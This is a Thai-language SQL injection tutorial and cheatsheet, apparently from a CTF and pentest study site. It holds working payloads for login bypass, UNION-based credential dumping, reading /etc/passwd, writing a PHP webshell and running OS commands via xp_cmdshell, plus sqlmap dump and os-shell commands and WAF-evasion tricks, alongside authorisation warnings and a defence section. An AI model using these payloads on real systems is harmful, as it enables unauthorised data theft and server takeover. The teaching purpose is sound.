คลัง
web

SQL Injection

SQL Injection (SQLi) คือช่องโหว่ที่เกิดเมื่อแอปนำ input จากผู้ใช้ไปประกอบเป็นคำสั่ง SQL โดยตรงโดยไม่แยกโครงสร้างคำสั่งออกจากข้อมูล ทำให้ 'ข้อมูล' ถูกตีความเป็น 'คำสั่ง' ผู้โจมตีจึงเปลี่ยนความหมายของ query อ่าน/แก้ไข/ลบข้อมูล ไปจนถึงยึดเซิร์ฟเวอร์ได้ บทนี้ไล่ตั้งแต่แนวคิด การตรวจจับ การ enumerate ทีละขั้น payload ตามชนิด DB (MySQL/PostgreSQL/MSSQL/SQLite/Oracle) การใช้ sqlmap การ bypass WAF และมุมมองฝ่ายป้องกัน

BeginnerIntermediateAdvanced#sqli#injection#database#owasp#web#sqlmap#union#blind

1. SQLi ทำงานอย่างไร

หัวใจของ SQLi คือการที่ ข้อมูล (data) ถูกตีความเป็น คำสั่ง (code) ปกติ query มีโครงสร้างตายตัว เช่น SELECT * FROM users WHERE id = '1' เมื่อแอปเอา input มาต่อสตริงตรงๆ ว่า "...WHERE id = '" + input + "'" ผู้โจมตีที่ใส่ 1' OR '1'='1 จะทำให้เงื่อนไขเป็นจริงเสมอ query กลายเป็น ...WHERE id = '1' OR '1'='1' — เส้นแบ่งระหว่างโครงสร้างกับค่าถูกทำลาย

SQLi แบ่งตามช่องทางที่ได้ข้อมูลกลับมาเป็น 3 กลุ่มใหญ่: In-band (ได้ข้อมูลผ่านช่องทางเดียวกับที่ inject — Error-based, UNION-based), Blind/Inferential (ไม่เห็นข้อมูลตรงๆ ต้องอนุมานทีละบิต — Boolean-based, Time-based), และ Out-of-band (OOB) (ส่งข้อมูลออกทางช่องอื่น เช่น DNS/HTTP callback เมื่อ in-band ทำไม่ได้)

ข้อมูลกลายเป็นคำสั่งได้อย่างไร
input = 1' OR '1'='1 ผู้ใช้ควบคุม "...id='" + input + "'" ต่อสตริงดิบ (อันตราย) โครงสร้าง+ค่า ปนกัน WHERE id='1' OR '1'='1' จริงเสมอ → รั่ว WHERE id = ? bind param = input โครงสร้าง≠ค่า (ปลอดภัย) id = "1' OR..." ถือเป็น "ค่า" ล้วน // เส้นบน = string concat (ช่องโหว่) · เส้นล่าง = parameterized (แก้)
ชนิด SQLiช่องทางได้ข้อมูลใช้เมื่อ
Error-basedอ่านจากข้อความ errorแอปแสดง SQL error (verbose)
UNION-basedต่อผลลัพธ์ให้แสดงบนหน้าoutput ของ query สะท้อนกลับ
Boolean blindเทียบ response จริง/เท็จresponse ต่างกันแต่ไม่เห็นข้อมูล
Time-based blindวัดเวลาตอบสนองresponse เหมือนกันหมด
Out-of-bandDNS/HTTP callbackin-band ทำไม่ได้เลย
ทดสอบเฉพาะระบบที่คุณได้รับอนุญาตเป็นลายลักษณ์อักษร (lab, CTF, หรือ scope ที่ตกลงไว้) การยิง SQLi ใส่ระบบผู้อื่นคือความผิดตามกฎหมาย และ payload ที่ทำลายข้อมูล (DROP, DELETE) ห้ามใช้กับระบบจริงเด็ดขาด

2. การตรวจจับ (Detection)

เป้าหมายขั้นแรกคือ ยืนยันว่ามีช่องโหว่จริง และ เดาชนิดของ SQLi ทำ baseline ก่อน (ส่ง request ปกติ บันทึกสถานะ/ความยาว/เวลา) แล้วค่อยยิง probe เทียบความต่าง

Probeสัญญาณว่ามีช่องโหว่
' หรือ "HTTP 500 / SQL error / หน้าเปลี่ยน
' OR '1'='1 vs ' AND '1'='2ผลลัพธ์สองอันต่างกัน = boolean
1 vs 2-1ให้ผลเดียวกัน = DB ประมวลผลนิพจน์จริง
' AND SLEEP(5)-- -response ช้าลง ~5 วิ = time-based
'||' / '+'string concat ต่างกันตาม DB → ระบุชนิด DB
ชุด probe ยืนยันช่องโหว่ (ไล่ทีละอัน)
-- 1) ทำให้พัง แล้วซ่อม (ถ้าพังตอนใส่ ' แต่หายพังตอนปิด quote = มีช่องโหว่)
'                       -- คาดว่า error
''                      -- คาดว่ากลับปกติ
' AND '1'='1            -- true  → เหมือน baseline
' AND '1'='2            -- false → ต่างจาก baseline

-- 2) นิพจน์คณิต (ยืนยันว่า DB ประเมินค่าจริง ไม่ใช่ตรงตัว)
id=2                    -- เพจ A
id=3-1                  -- ถ้าได้เพจ A เหมือน id=2 = ประมวลผลจริง

-- 3) หน่วงเวลา (blind ตัวสุดท้าย)
1 AND SLEEP(5)-- -      -- MySQL
1; SELECT pg_sleep(5)-- -   -- PostgreSQL
อย่าเชื่อ probe เดียว ยืนยันด้วยคู่ true/false เสมอเพื่อตัด false positive
  • ระบุจุดรับ input ให้ครบ: GET/POST params, JSON fields, HTTP headers (User-Agent, Referer, X-Forwarded-For), และ Cookie — จุดที่คนลืมบ่อยสุด
  • พารามิเตอร์เสี่ยงสูง: id, ตัวเลข, ตัวกรอง, sort/order (มักต่อเข้า ORDER BY ตรงๆ)
  • ระบุ context ว่า input อยู่ใน quote เดียว ('), quote คู่ ("), หรือไม่มี quote (numeric) — เลือก payload ต่างกัน
  • ดู error message: You have an error in your SQL syntax (MySQL), ORA-00933 (Oracle), PG::SyntaxError (PostgreSQL), SQLite3:: (SQLite), Unclosed quotation mark (MSSQL)

3. ระบุชนิดฐานข้อมูล

ก่อนยิง payload หนักต้องรู้ว่าเป็น DB อะไร เพราะ syntax, ฟังก์ชัน, comment ต่างกันหมด ใช้ probe ที่ให้ผลต่างกันตาม DB

ต้องการรู้MySQLPostgreSQLMSSQLOracleSQLite
เวอร์ชันversion() / @@versionversion()@@versionbanner FROM v$versionsqlite_version()
ชื่อ DB ปัจจุบันdatabase()current_database()db_name()SYS.DATABASE_NAME-
string concatCONCAT(a,b)a||ba+ba||ba||b
comment-- - / #--------
หน่วงเวลาSLEEP(5)pg_sleep(5)WAITFOR DELAYdbms_pipe.receive_message(ไม่มี)
cataloginformation_schemainformation_schemainformation_schema / sysobjectsall_tablessqlite_master
String ที่ให้ผลต่างกันตาม DB (ยิงทีละอันดูว่าอันไหน 'ไม่พัง')
-- ถ้า concat แบบนี้ 'ไม่พัง' = เป็น DB นั้น
'abc'                     -- baseline
'ab'||'c'   → 'abc'       -- Oracle / PostgreSQL / SQLite
'ab'+'c'    → 'abc'       -- MSSQL
CONCAT('a','b','c')       -- MySQL (ต้องมี arg หลายตัว)
'a' 'b' 'c' → 'abc'       -- MySQL (string ติดกัน)
เทคนิคนี้ยืนยัน DB ได้แม้ไม่มี error message

4. Enumerate โครงสร้างฐานข้อมูล

  1. 1หาจำนวนคอลัมน์ด้วย ORDER BY n (เพิ่ม n จน error) หรือ UNION SELECT NULL,NULL,...
  2. 2หาคอลัมน์ที่ 'แสดงผลได้' (reflected) ด้วย UNION SELECT 1,2,3,... ดูว่าเลขไหนโผล่
  3. 3ระบุ DB/เวอร์ชัน/ผู้ใช้ปัจจุบัน ลงในตำแหน่งที่แสดงได้
  4. 4ดึงรายชื่อฐานข้อมูลและตารางจาก information_schema.tables
  5. 5ดึงคอลัมน์ของตารางเป้าหมายจาก information_schema.columns
  6. 6ดึงข้อมูลจริง (credentials / flag) จากตารางที่พบ
Enumeration ครบวงจร (MySQL, UNION-based)
-- หาจำนวนคอลัมน์
1 ORDER BY 1-- -
1 ORDER BY 2-- -
1 ORDER BY 3-- -        -- ถ้า error ที่ 4 = มี 3 คอลัมน์

-- หาตำแหน่งที่แสดง (สมมติเลข 2 โผล่บนหน้า)
1 UNION SELECT 1,2,3-- -

-- ข้อมูลระบบ
1 UNION SELECT 1,CONCAT(version(),0x0a,database(),0x0a,current_user()),3-- -

-- รายชื่อตารางใน DB ปัจจุบัน
1 UNION SELECT 1,GROUP_CONCAT(table_name SEPARATOR 0x0a),3
  FROM information_schema.tables WHERE table_schema=database()-- -

-- คอลัมน์ของตาราง users
1 UNION SELECT 1,GROUP_CONCAT(column_name SEPARATOR 0x0a),3
  FROM information_schema.columns WHERE table_name=0x7573657273-- -

-- ดึง credentials
1 UNION SELECT 1,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),3 FROM users-- -
0x3a=':' , 0x0a='\n' , 0x7573657273='users' — ใช้ hex เลี่ยง quote ที่อาจถูกกรอง
ถ้าคอลัมน์ที่แสดงต้องเป็น string แต่ที่เหลือเป็น int ให้ใส่ค่าจริงเฉพาะคอลัมน์ string ที่เหลือใส่ NULLNULL เข้ากันได้กับทุกชนิดข้อมูล

5. เจอโจทย์ SQLi — ไล่ตามนี้

Decision flow: เลือกชนิดการโจมตี
หาจุด inject + context (quote/numeric)
GET/POST/header/cookie
ใส่ ' แล้วเกิดอะไร?
เห็น SQL error→ Error-based
หน้าเปลี่ยนแต่ไม่มี error→ ลอง UNION/boolean
ไม่มีอะไรเปลี่ยน→ time-based
output ของ query แสดงบนหน้าไหม?
แสดง (reflected)union
ไม่แสดงแต่ response ต่างbool
ไม่ต่างเลยtime
ได้ credentials/flag → ยกระดับ
อ่านไฟล์/เขียน webshell ถ้าได้สิทธิ์

6. Authentication Bypass

จุดคลาสสิกที่สุดคือฟอร์ม login ที่ query แบบ SELECT * FROM users WHERE user='$u' AND pass='$p' ถ้า inject ช่อง username ได้ เราปิดเงื่อนไข password ด้วย comment

Login bypass payloads (ใส่ในช่อง username)
admin'-- -              -- login เป็น admin ตัดเช็ค password
admin'#                  -- comment แบบ MySQL
' OR '1'='1'-- -         -- คืนแถวแรกในตาราง
' OR 1=1 LIMIT 1-- -     -- บังคับเอาแถวเดียว
admin') OR ('1'='1      -- เผื่อ query ห่อด้วยวงเล็บ
" OR ""="                -- context เป็น double quote
ลองทั้ง ' และ " และเวอร์ชันมีวงเล็บ เพราะไม่รู้โครงสร้าง query จริง

7. sqlmap — automation

sqlmap คือเครื่องมือมาตรฐานสำหรับ automate การตรวจจับและ dump วิธีที่แม่นที่สุดคือดัก request ด้วย Burp เซฟเป็นไฟล์ แล้วชี้ -r ไป — sqlmap จะรู้ทุก header/cookie/param ครบ

sqlmap workflow (เป้าหมายที่ได้รับอนุญาต)
# 1) ดักด้วย Burp → Save item → request.txt แล้ว:
sqlmap -r request.txt --batch

# ระบุพารามิเตอร์ที่จะทดสอบ + เพิ่มความลึก
sqlmap -r request.txt -p id --level=5 --risk=3 --batch

# 2) ไล่ enumerate
sqlmap -r request.txt --dbs                     # รายชื่อ database
sqlmap -r request.txt -D appdb --tables         # ตารางใน appdb
sqlmap -r request.txt -D appdb -T users --columns
sqlmap -r request.txt -D appdb -T users -C username,password --dump

# 3) บังคับเทคนิค/DB เมื่อรู้แล้ว (เร็วขึ้น)
sqlmap -r request.txt --technique=U --dbms=mysql   # U=union
sqlmap -r request.txt --technique=BT               # B=boolean, T=time

# 4) ผ่าน WAF / เพิ่มความทน
sqlmap -r request.txt --tamper=space2comment,between --random-agent --delay=1

# 5) ต่อยอด (เฉพาะที่ได้รับอนุญาต)
sqlmap -r request.txt --os-shell        # พยายามเปิด shell (MySQL/MSSQL)
sqlmap -r request.txt --file-read=/etc/passwd
--batch ตอบ default อัตโนมัติ เริ่มด้วย level/risk ต่ำก่อนเพื่อลด noise แล้วค่อยเพิ่ม
flagหน้าที่
-r fileอ่าน HTTP request จากไฟล์ (แม่นสุด)
-p paramเจาะจงพารามิเตอร์ที่ทดสอบ
--level 1-5ความลึกของจุดที่ทดสอบ (header/cookie เพิ่มที่ level สูง)
--risk 1-3ความเสี่ยงของ payload (3 = มี OR/heavy)
--technique BEUSTQเลือกชนิด: Boolean/Error/Union/Stacked/Time/inline-Query
--tamperสคริปต์แปลง payload เพื่อเลี่ยง WAF
--dump / --dump-allดึงข้อมูลออกมา
--os-shellพยายามได้ command execution

8. WAF Bypass

  • space ถูกกรอง: ใช้ comment แทน /**/ หรือ %09(tab)/%0a(newline) เช่น UNION/**/SELECT
  • คีย์เวิร์ดถูกกรอง: สลับ case UnIoN sElEcT หรือซ้อนคำ UNIONUNION SELECTSELECT (บาง filter ลบครั้งเดียว)
  • quote ถูกกรอง: ใช้ hex แทน string เช่น 0x7573657273 แทน 'users' หรือ CHAR(117,115,...)
  • comment ถูกกรอง: ปิด quote ให้พอดีแทนการใช้ -- -
  • = ถูกกรอง: ใช้ LIKE หรือ <> / BETWEEN
  • AND/OR ถูกกรอง: ใช้ && / || (MySQL)
  • double URL-encode หรือ encode เฉพาะบางตัวเมื่อ WAF decode ชั้นเดียว
ตัวอย่าง payload หลบ filter
-- space→comment, keyword→mixed case
1/**/UnIoN/**/SeLeCt/**/1,2,3-- -
-- string→hex (เลี่ยง quote)
1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=0x617070646200-- -
-- ซ้อนคีย์เวิร์ดหนี strip ครั้งเดียว
1 UNIOUNIONN SELESELECTCT 1,2,3-- -
sqlmap --tamper ทำสิ่งเหล่านี้อัตโนมัติ: space2comment, charencode, randomcase ฯลฯ

9. ยกระดับ: อ่าน/เขียนไฟล์ และ RCE

File read / write (เฉพาะ lab/CTF)
-- MySQL อ่านไฟล์ (ต้องมีสิทธิ์ FILE + secure_file_priv เอื้อ)
1 UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -

-- MySQL เขียน webshell
1 UNION SELECT 1,'<?php system($_GET[0]); ?>',3 INTO OUTFILE '/var/www/html/s.php'-- -

-- MSSQL รันคำสั่งระบบ (ถ้าเปิด xp_cmdshell)
1; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'-- -

-- PostgreSQL อ่านไฟล์
1 UNION SELECT 1,pg_read_file('/etc/passwd'),3-- -
ขึ้นกับสิทธิ์ของ DB user และการตั้งค่า — CTF มักตั้งให้ทำได้ ระบบจริงมักปิด
Stacked queries (; DROP TABLE...) ใช้ได้เฉพาะบาง stack (MSSQL, PostgreSQL, PHP+PDO บางกรณี) — MySQL ผ่าน mysqli ทั่วไปรันหลาย statement ไม่ได้ อย่าเสียเวลากับ stacked บน MySQL classic

10. ตัวอย่างสถานการณ์ (CTF & Pentest)

CTF — UNION ดึง flag จากตารางซ่อน: หน้ารายการสินค้าใช้ ?category=1 ใส่ ' เห็น MySQL error → ยืนยัน error-based/in-band ทำ ORDER BY พบ 4 คอลัมน์ คอลัมน์ 2,3 แสดงบนหน้า ยิง UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() เจอตาราง secret_flag แล้ว UNION SELECT 1,flag,3,4 FROM secret_flag ได้ flag ทันที

Pentest — filter ใน e-commerce: ฟังก์ชันกรองสินค้าตามช่วงราคาส่ง min_price/max_price ดิบเข้า query ไม่เห็น output แต่ ' AND '1'='1 vs ' AND '1'='2 ให้จำนวนสินค้าต่างกัน → boolean blind ใช้ sqlmap --technique=B ดึงตาราง users ได้ hash แล้ว crack ต่อ รายงานพร้อมแนะนำ parameterized query + least-privilege DB user

11. ข้อผิดพลาดที่พบบ่อย

  • ลืมทดสอบ input ที่ไม่ใช่ฟอร์ม โดยเฉพาะ Cookie และ HTTP headers
  • ใช้ comment ผิดชนิด — -- ต้องมี space ตามหลัง (นิยมเขียน -- - ให้ชัวร์)
  • เดา context ผิด (numeric vs single-quote vs double-quote) ทำให้ payload ไม่ทำงานทั้งที่มีช่องโหว่
  • ไม่ทำ baseline ก่อน จึงแยกไม่ออกว่า response ต่างเพราะ payload หรือเพราะ random
  • ไม่ระบุชนิด DB ก่อน เลยเลือกฟังก์ชันผิด (เช่นใช้ SLEEP กับ PostgreSQL)
  • เปิด --level/--risk สูงสุดตั้งแต่แรก sqlmap ช้าและ noise เยอะ
  • ลืม URL-encode อักขระพิเศษ (&, +, #) ทำให้ payload เพี้ยนก่อนถึง DB

12. การป้องกัน (Blue-team)

  • Prepared statements / parameterized query เสมอ — แยกโครงสร้างคำสั่งออกจากข้อมูลเด็ดขาด (แก้ที่ต้นเหตุ)
  • ใช้ ORM/query builder อย่างถูกวิธี (อย่าเอา input ต่อ raw SQL แม้ผ่าน ORM)
  • Allowlist สำหรับส่วนที่ parameterize ไม่ได้ เช่นชื่อคอลัมน์ใน ORDER BY (map ค่าที่อนุญาตเท่านั้น)
  • Least privilege: DB user ของแอปไม่ควรมีสิทธิ์ FILE, DROP, หรือ admin
  • ปิด verbose error ใน production (กัน error-based leak)
  • WAF เป็น defense-in-depth ไม่ใช่ การแก้หลัก (bypass ได้เสมอ)
  • Detection: log query ที่ error syntax ถี่ผิดปกติ, เห็นคำว่า UNION SELECT/information_schema/sleep ใน parameter

13. Quick Reference / Cheatsheet

SQLi cheatsheet
[ตรวจจับ]  '   "   ' OR '1'='1   ' AND '1'='2   1 AND SLEEP(5)
[context]  '...'  "..."  numeric (ไม่มี quote)
[comment]  MySQL: -- -  หรือ #   |   อื่นๆ: --
[version]  MySQL/MSSQL: @@version  PG: version()  Oracle: v$version  SQLite: sqlite_version()
[concat]   MySQL: CONCAT(a,b) / a b   PG/Oracle/SQLite: a||b   MSSQL: a+b
[catalog]  information_schema.tables / .columns   (Oracle: all_tables  SQLite: sqlite_master)
[cols]     1 ORDER BY n-- -   |   1 UNION SELECT NULL,NULL,...-- -
[reflect]  1 UNION SELECT 1,2,3-- -
[dump]     1 UNION SELECT 1,GROUP_CONCAT(user,0x3a,pass),3 FROM users-- -
[hex]      0x3a=':'  0x0a='\n'  0x7e='~'  ใช้แทน string หนี quote
[bypass]   /**/  แทน space  |  UnIoN  mixed case  |  0x..  แทน string
[login]    admin'-- -   ' OR 1=1 LIMIT 1-- -   ') OR ('1'='1
[sqlmap]   sqlmap -r req.txt --batch --dbs -D db -T t --dump  |  --tamper=space2comment
  • เริ่มด้วย ' และ " เพื่อหา error แล้วยืนยันด้วยคู่ true/false
  • ระบุ DB ก่อนเสมอ (version/concat) แล้วค่อยเลือก payload
  • reflected → UNION, response ต่าง → boolean, ไม่ต่าง → time
  • information_schema คือแผนที่ฐานข้อมูล
  • จนมุมหรืองานเยอะ → sqlmap -r request.txt

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งเจอฟอร์ม login หรือพารามิเตอร์ที่น่าสงสัยในโจทย์ CTF มีแค่ Kali เปล่าๆ ไม่รู้จะเริ่มตรงไหน — ทำตามขั้นตอนนี้ทีละบรรทัด ทดสอบทีละอย่าง อย่าข้ามขั้น แล้วดูสัญญาณที่ได้ก่อนตัดสินใจว่าจะไปทางไหนต่อ

  1. 1เปิด Burp Suite (มากับ Kali) → ตั้ง browser proxy 127.0.0.1:8080 → ล็อกอิน/ค้นหาปกติ 1 ครั้งเพื่อดัก request ที่มีพารามิเตอร์
  2. 2ส่ง request นั้นไป Repeater (Ctrl+R) แล้วเติม ' (quote เดี่ยว) ต่อท้ายค่าพารามิเตอร์ที่สงสัย เช่น id=1' แล้วกด Send
  3. 3ดู response: ถ้าเห็น error SQL (you have an error in your SQL syntax, ORA-00933, unterminated quoted string) = เจอ error-based ไปข้อ 5 เลย
  4. 4ถ้าไม่เห็น error แต่หน้าเว็บเปลี่ยน (ข้อมูลหาย/กลับปกติ) ให้ลองคู่เทียบ true/false: id=1' AND '1'='1 กับ id=1' AND '1'='2 เทียบ response
  5. 5เซฟ request เป็นไฟล์ req.txt (Burp: Copy to file หรือ Save item) แล้วรัน sqlmap -r req.txt --batch --dbs ให้ sqlmap เดา DBMS/ยืนยันช่องโหว่อัตโนมัติ
  6. 6ถ้า sqlmap เจอ --dbs → เลือก sqlmap -r req.txt --batch -D --tables แล้ว -T --dump เพื่อดึงข้อมูล
  7. 7ถ้า sqlmap ไม่เจออะไรเลย (false negative) ลอง --level 5 --risk 3 หรือระบุ --technique ให้ตรง (B/E/U/S/T) หรือลองมือเปล่าด้วย time-based: ' AND SLEEP(5)-- -
  8. 8ถ้าโดน WAF บล็อก (response 403/blocked) ลอง encode payload ด้วย CyberChef หรือใช้ sqlmap --tamper=space2comment,charencode
  9. 9เมื่อยืนยันชนิดช่องโหว่ชัดแล้ว (error/blind/union/time) เปิดหัวข้อเฉพาะทางของชนิดนั้นเพื่อเทคนิคขั้นสูงต่อ
  10. Master flow — เจอจุดสงสัย SQLi แล้วไปทางไหนต่อ
    Baseline: ลองใส่ค่าปกติก่อน 1 ครั้ง เก็บ response ไว้เทียบ
    เติม ' ต่อท้ายค่าพารามิเตอร์ที่สงสัย แล้วส่งใหม่ (Burp Repeater)
    response เปลี่ยนไปจาก baseline ไหม?
    ✅ เห็น SQL error message ตรงๆ (syntax error, ชื่อ DB โผล่)→ error-based ชัดเจน
    ✅ หน้าเปลี่ยน (ข้อมูลหาย/component พัง) แต่ไม่มีข้อความ error→ ต้องเทียบ true/false ต่อ
    ❌ เหมือน baseline เป๊ะ→ ลองพารามิเตอร์อื่น หรือไป time-based
    ทดสอบคู่ true/false: id=1' AND '1'='1 เทียบกับ id=1' AND '1'='2
    response สองอันต่างกันชัดไหม (เช่น true=เห็นข้อมูล, false=ไม่เห็น)?
    ✅ ต่างกันชัด→ boolean-based blind ยืนยันแล้ว
    ❌ เหมือนกันทั้งคู่→ ลอง time-based (SLEEP) ต่อ
    ผลลัพธ์ query แสดงตรงๆ บนหน้าเว็บไหม (เช่น list สินค้า/ผลค้นหา)?
    ✅ เห็นผลลัพธ์แสดงบนหน้าเว็บ→ ลอง UNION SELECT ดึงข้อมูลออกมาแสดงตรงๆ
    ❌ ไม่มีอะไรสะท้อนกลับเลย→ ไป time-based ต่อ
    ทดสอบ ' AND SLEEP(5)-- - แล้วจับเวลา response
    response ช้าขึ้นตามเวลาที่สั่งไหม?
    ✅ ช้าตรงเวลาที่สั่ง (เช่น ~5 วิ)→ ยืนยัน time-based blind
    ❌ เวลาเท่าเดิมทุกครั้ง→ อาจไม่ใช่ SQLi จุดนี้ หรือโดน WAF กรอง
    ลองทุกอย่างแล้วไม่มีสัญญาณเลย → รัน sqlmap -r req.txt --batch --level 5 --risk 3 แทน หรือเปลี่ยนพารามิเตอร์/encode payload ใหม่
    ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
    ดักจับ/แก้ไข requestBurp Suite (Community)--
    ทดสอบอัตโนมัติ/dump ข้อมูลsqlmapalready in Kali-
    เรียนรู้ตัวอย่าง lab มาตรฐาน--portswigger web security academy
    encode/decode payload หลบ WAF--CyberChef
    crack hash รหัสผ่านที่ dump ได้hashcat / johnalready in Kalicrackstation.net
    เปิด reverse shell หลัง RCE (stacked query/xp_cmdshell)nc / socatalready in Kalirevshells.com
    ทดสอบ payload มือก่อนยิง sqlmapcurlalready in Kali-
🚑 ถ้าตันสนิท ลองท่าถัดไป: union-sqli ถ้าเห็นผล query สะท้อนบนหน้าเว็บ, blind-sqli ถ้า response ต่าง true/false แต่ไม่มี error, time-based-sqli ถ้าไม่มีอะไรต่างเลยต้องจับเวลา, command-injection ถ้า DB user มีสิทธิ์รันคำสั่ง OS (xp_cmdshell/INTO OUTFILE), nosql-injection ถ้า backend จริงๆ เป็น MongoDB ไม่ใช่ SQL แท้

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้